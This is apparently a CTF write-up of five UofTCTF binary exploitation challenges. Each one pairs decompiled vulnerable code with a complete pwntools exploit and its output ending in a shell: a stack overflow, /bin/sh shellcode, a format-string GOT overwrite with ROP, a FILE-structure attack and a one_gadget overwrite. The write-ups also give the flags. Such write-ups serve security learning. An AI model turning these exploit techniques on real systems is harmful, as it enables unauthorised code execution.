Baby pwn

Here’s a baby pwn challenge for you to try out. Can you get the flag?

nc 34.162.142.123 5000

Author: atom

void secret()
{
    printf("Congratulations! Here is your flag: ");
    char *argv[] = {"/bin/cat", "flag.txt", NULL};
    char *envp[] = {NULL};
    execve("/bin/cat", argv, envp);
}

void vulnerable_function()
{
    char buffer[64];
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
    printf("You entered: %s\n", buffer);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the Baby Pwn challenge!\n");
    printf("Address of secret: %p\n", secret);
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

Vulnerability

➜  baby_pwn checksec baby-pwn
[*] '/home/vulnx/ctf/uoft/pwn/baby_pwn/baby-pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

since we have no PIE we can simply overwrite the return address with secret and profit

➜  baby_pwn nm baby-pwn | grep secret
0000000000401166 T secret
➜  baby_pwn echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa\x66\x11\x40\x00\x00\x00\x00\x00" | nc 34.162.142.123 5000
Welcome to the Baby Pwn challenge!
Address of secret: 0x401166
Enter some text: You entered: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaaf@
Congratulations! Here is your flag: uoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}

Flag

uoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}

Baby pwn2

Hehe, now there’s no secret function to call. Can you still get the flag?

nc 34.162.119.16 5000

Author: atom

void vulnerable_function()
{
    char buffer[64];
    printf("Stack address leak: %p\n", buffer);
    printf("Enter some text: ");
    fgets(buffer, 128, stdin);
}

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Welcome to the baby pwn 2 challenge!\n");
    vulnerable_function();
    printf("Goodbye!\n");
    return 0;
}

Vulnerability

I used this simple shellcode:

global _start:
        jmp    down
back:
        pop rdi
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 0x3b
        syscall
down:
        call back
        db "/bin/sh", 0
#!/usr/bin/env python3
from pwn import *
exe = ELF("./baby-pwn-2_patched")
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]

io = remote("34.162.119.16", 5000)
io.sendline(flat({
    0: b'\xeb\x0e\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00',
    72: 0x00000000004010ce
}))
io.interactive()
➜  baby_pwn2 python solve.py
[+] Opening connection to 34.162.119.16 on port 5000: Done
[*] Switching to interactive mode
Welcome to the baby pwn 2 challenge!
Stack address leak: 0x7ffc2202e7b0
Enter some text: $
$ ls
baby-pwn-2
baby-pwn-2.c
flag.txt
run
$ cat flag.txt
uoftctf{sh3llc0d3_1s_pr3tty_c00l}

Flag

uoftctf{sh3llc0d3_1s_pr3tty_c00l}

Echo

Yet another echo service. However, the service keeps printing stack smashing detected for some reason, can you help me figure it out?

nc 34.29.214.123 5000

Author: White

This is where the real fun began

void vuln(void)

{
  long in_FS_OFFSET;
  char local_11;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  read(0,&local_11,0x100);
  printf(&local_11);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
➜  echo checksec chall
[*] '/home/vulnx/ctf/uoft/pwn/echo/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Vulnerability

Here partial overwrite involes 1 nibble (or 4bits) bruteforce, this means there’s 1/16 chances of success, so we need to loop until we win {: .prompt-info }

#!/usr/bin/env python3

from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def stage_2(io):
    io.sendline(b'%13$p-%31$p-')
    io.recvuntil(b'0x')
    libc_leak = int(io.recvuntil(b'-')[:-1].strip(), 16)
    libc.address = libc_leak - 0x2a1ca
    log.success(f'{hex(libc.address) = }')
    canary = int(io.recvuntil(b'-')[:-1].strip(), 16)
    log.info(f'{hex(canary) = }')
    rop = ROP(libc)
    rop.raw(rop.ret)
    rop.system(next(libc.search(b'/bin/sh\x00')))
    io.sendline(flat({
        1: canary,
        17: rop.chain()
    }))
    io.interactive()
    exit(0)
# start here 👇
win = False
while win == False:
    # io = process(exe.path)
    io = remote("34.29.214.123", 5000)
    io.send(flat({
        0: b'hi%190d%9$hhn', # overwrite 0xc0 (=> _start)
        17: b'\x18\xe0' # overwrite 0xe018 (=> __stack_chk_fail got entry)...1 nibble bruteforce
    }))
    io.recvuntil(b'hi')
    try:
        io.sendline(b'yo_wassup')
        io.recvuntil(b'yo_wassup')
        log.success('start stage-2')
        stage_2(io)
        win = True
    except:
        log.failure(b'exploit failed')
        io.close()
        io.wait_for_close()
➜  echo python solve.py
[+] Opening connection to 34.29.214.123 on port 5000: Done
[-] exploit failed
[*] Closed connection to 34.29.214.123 port 5000
[+] Opening connection to 34.29.214.123 on port 5000: Done
[-] exploit failed
...
[*] Closed connection to 34.29.214.123 port 5000
[+] Opening connection to 34.29.214.123 on port 5000: Done
[+] start stage-2
[+] hex(libc.address) = '0x795388f37000'
[*] hex(canary) = '0xa0f55faf8884b500'
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode

\xfe\x7fa$
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{c4n4ry_15_u53l355_1f_607_15_wr174bl3}

Flag

uoftctf{c4n4ry_15_u53l355_1f_607_15_wr174bl3}

Book Editor

Easily write and edit your book with this new service.

nc 34.46.232.251 5000

Author: White

void main(void)

{
  bool bVar1;
  int iVar2;
  
  setup();
  printf("How long will your book be: ");
  __isoc99_scanf(&%ld,&bookSize);
  book = malloc(bookSize);
  printf("Contents of the book: ");
  read(0,book,bookSize);
  bVar1 = true;
  do {
    while( true ) {
      while( true ) {
        if (!bVar1) {
          return;
        }
        menu();
        iVar2 = getChoice();
        if (iVar2 != 3) break;
        bVar1 = false;
      }
      if (iVar2 < 4) break;
LAB_004014f9:
      puts("That is not an option");
    }
    if (iVar2 == 1) {
      editBook();
    }
    else {
      if (iVar2 != 2) goto LAB_004014f9;
      readBook();
    }
  } while( true );
}
void readBook(void)

{
  printf("Here is your book: %s\n",book);
  return;
}
void editBook(void)

{
  int _;
  long in_FS_OFFSET;
  uint offset;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Where do you want to edit: ");
  __isoc99_scanf(&%d,&offset);
  do {
    _ = getchar();
  } while (_ != 10);
  if (offset < bookSize) {
    printf("What do you want to edit: ");
    printf("%p",bookSize + -offset + -1);
    read(0,(void *)(book + (ulong)offset),(bookSize + -offset) - 1);
  }
  else {
    printf("Please dont edit ouside of the book.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
➜  book checksec chall
[*] '/home/vulnx/ctf/uoft/pwn/book/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Vulnerability

#!/usr/bin/env python3

from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
io = remote("34.46.232.251", 5000)
print('Overwriting book with stdout')
pause()
io.sendline(b'-1')
io.sendline(b'1')
io.sendline(str(0x404030).encode()) # book
io.sendline(p64(0x404010)) # stdout
print('Leaking libc')
pause()
io.sendline(b'2')
io.recvuntil(b'Here is your book: ')
libc_leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f'{hex(libc_leak) = }')
libc.address = libc_leak - 0x2045c0
log.success(f'{hex(libc.address) = }')
print('Overwriting book with _IO_2_1_stdin_')
pause()
io.sendline(b'1')
io.sendline(b'32')
io.sendline(p64(libc.sym._IO_2_1_stdin_ - 8))
print('Overwriting _IO_2_1_stdout_ to force environ leak')
pause()
io.sendline(b'1')
io.sendline(str(8 + 0xce0).encode())
fp = FileStructure()
fp.write(libc.sym.environ, 0x100)
io.sendline(bytes(fp)[:0x30])
io.recvuntil(b'0xfffff221')
stack_leak = u64(io.recv(6).ljust(8, b'\x00'))
log.success(f'{hex(stack_leak) = }')
print('Overwriting _IO_2_1_stdin_ to force writing data to return address')
pause()
io.sendline(b'1')
io.sendline(str(8 + 0x38).encode())
io.send(p64(stack_leak-2464) + p64(stack_leak-2464+0x100))
print('Writing rop chain to return address')
pause()
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(rop.chain())
io.interactive()
➜  book python solve.py
[+] Opening connection to 34.46.232.251 on port 5000: Done
Overwriting book with stdout
[*] Paused (press any to continue)
Leaking libc
[*] Paused (press any to continue)
[*] hex(libc_leak) = '0x78fe21c185c0'
[+] hex(libc.address) = '0x78fe21a14000'
Overwriting book with _IO_2_1_stdin_
[*] Paused (press any to continue)
Overwriting _IO_2_1_stdout_ to force environ leak
[*] Paused (press any to continue)
[+] hex(stack_leak) = '0x7ffcdb737aa8'
Overwriting _IO_2_1_stdin_ to force writing data to return address
[*] Paused (press any to continue)
Writing rop chain to return address
[*] Paused (press any to continue)
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
1. Edit Book
2. Read Book
3. Exit
> Where do you want to edit: What do you want to edit: 0xfffffec91. Edit Book
2. Read Book
3. Exit
> $
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{4lw4y5_ch3ck_f0r_3rr0r5_4f73r_m4ll0c}

Flag

uoftctf{4lw4y5_ch3ck_f0r_3rr0r5_4f73r_m4ll0c}

Counting sort

Did you know that the best time complexity for a sorting algorithm is O(n). This is an example service that demonstrates this by sorting your characters.

nc 34.170.104.126 5000

Author: White

Best challenge!

void main(void)

{
  setup();
  sort();
  return;
}
void sort(void)

{
  long lVar1;
  char *malloc_buffer;
  ssize_t n;
  byte *p;
  long in_FS_OFFSET;
  int i;
  int j;
  int k;
  byte *ptr_n_of_occur;
  byte map [256];
  byte n_of_occur;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  map[0] = 0;
  map[1] = 0;
  map[2] = 0;
  ...
  map[255] = 0;
  malloc_buffer = (char *)malloc(0x200);
  n = read(0,malloc_buffer,0x200);
  for (i = 0; i < (int)n; i = i + 1) {
    p = map + malloc_buffer[i];
    *p = *p + 1;
  }
  free(malloc_buffer);
  ptr_n_of_occur = map;
  for (j = 0; j < 0x100; j = j + 1) {
    n_of_occur = *ptr_n_of_occur;
    for (k = 0; k < (int)(uint)n_of_occur; k = k + 1) {
      putchar(j);
    }
    ptr_n_of_occur = ptr_n_of_occur + 1;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
➜  sort checksec chall | wl-copy
[*] '/home/vulnx/ctf/uoft/pwn/sort/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Vulnerability

#!/usr/bin/env python3

from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
io = remote("34.170.104.126", 5000)
payload = b'\xf1'
payload += b'\x18' * (0xa0 + 5 - 0xbc + 0x100)
io.send(payload)
print('Leaking libc')
pause()
dump = b''
new_dump = b'lol'
while new_dump != b'':
    new_dump = io.clean()
    dump += new_dump
leak = b''
for i in range(256):
    leak += (dump.count((i).to_bytes())).to_bytes()
exe_leak = u64(leak[0x18+0:0x18+8])
stack_leak = u64(leak[0x18+8:0x18+16])
libc_leak = u64(leak[0x18+16:0x18+24])
libc.address = libc_leak - 0x2a1ca
log.info(f'{hex(exe_leak) = }')
log.info(f'{hex(stack_leak) = }')
log.info(f'{hex(libc_leak) = }')
log.success(f'{hex(libc.address) = }')
# # 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# # constraints:
# #   address rbp-0x50 is writable
# #   rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# #   [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
print('Writing one_gadget')
pause()
log.info(f'{hex(libc.address + 0xef52b) = }')
target = p64(libc.address + 0xef52b)[:3]
existing = p64(libc_leak)[:3]
payload = b'\xf1'
for i in range(3):
    if target[i] > existing[i]:
        payload += (0x28+i).to_bytes() * (target[i] - existing[i])
    else:
        payload += (0x28+i).to_bytes() * (target[i] - existing[i] + 0x100)
payload += b'\x20' * 0x20
io.send(payload)
io.interactive()
➜  sort python solve.py
[+] Opening connection to 34.170.104.126 on port 5000: Done
Leaking libc
[*] Paused (press any to continue)
[*] hex(exe_leak) = '0x5b0e69f1b4a5'
[*] hex(stack_leak) = '0x7ffcc578c1d0'
[*] hex(libc_leak) = '0x7e8be5edd1ca'
[+] hex(libc.address) = '0x7e8be5eb3000'
Writing one_gadget
[*] Paused (press any to continue)
[*] hex(libc.address + 0xef52b) = '0x7e8be5fa252b'
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{r3m3mb3r_7h47_ch4r_15_516n3d_by_d3f4ul7}

Flag

uoftctf{r3m3mb3r_7h47_ch4r_15_516n3d_by_d3f4ul7}

Overall this was a very very fun CTF and I thoroughly enjoyed playing it, huge thanks of UofTCTF for organising it.